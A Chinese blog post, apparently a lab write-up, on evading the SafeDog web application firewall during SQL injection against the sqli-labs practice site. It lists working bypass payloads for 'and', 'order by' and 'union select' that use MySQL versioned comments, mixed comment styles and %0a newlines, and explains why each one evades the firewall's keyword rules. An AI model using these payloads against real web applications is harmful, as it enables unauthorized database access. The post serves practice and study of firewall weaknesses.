安全狗新升级 拦截界面都变了
and 1=1:
尝试输入payload
到and还没有拦截
但是输入 and 1=1之后就拦截了
我尝试了几次还认为是检测 and后面的数字 因为没有数字过后就不在拦截
所以尝试对数字替换 十六进制、负数、假的注释等等没用
后面查阅资料 发现安全狗一般检测关键字 会不会是 发现关键字 再检测后面的内容 所以这样才没有过滤and
对and进行更改
/*!14400and*/
在mysql中 /*! ....*/
不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/
中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!14400and*/;这里的14400表示假如 数据库是1.44.00及以上版本,该语句才会被执行。
order by:
payload:
http://www.sqlilabs.com/Less-2/?id=5%20/**/order/*/%0a*a*/by/**/3--+
分析:
并不单个拦截 而是两个单词在一起拦截
/**/order/*/%0a*a*/by/**/3--+
思路就是利用多个注释和换行来混淆
使用/**/ 和%oa(换行) 来放在判定为两个连接
union select:
payload:
union /*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
分析:
和order by的拦截一样 均可使用换行%0a来进行绕过
中间加入多个格式的注释和空格来混淆
加入database()
让我很意外 居然没有拦截
正则表达式并没有单独匹配database()
标签:语句,order,v4.0,安全,0a,--+,mysql,绕过,拦截 From: https://www.cnblogs.com/me123/p/16844806.html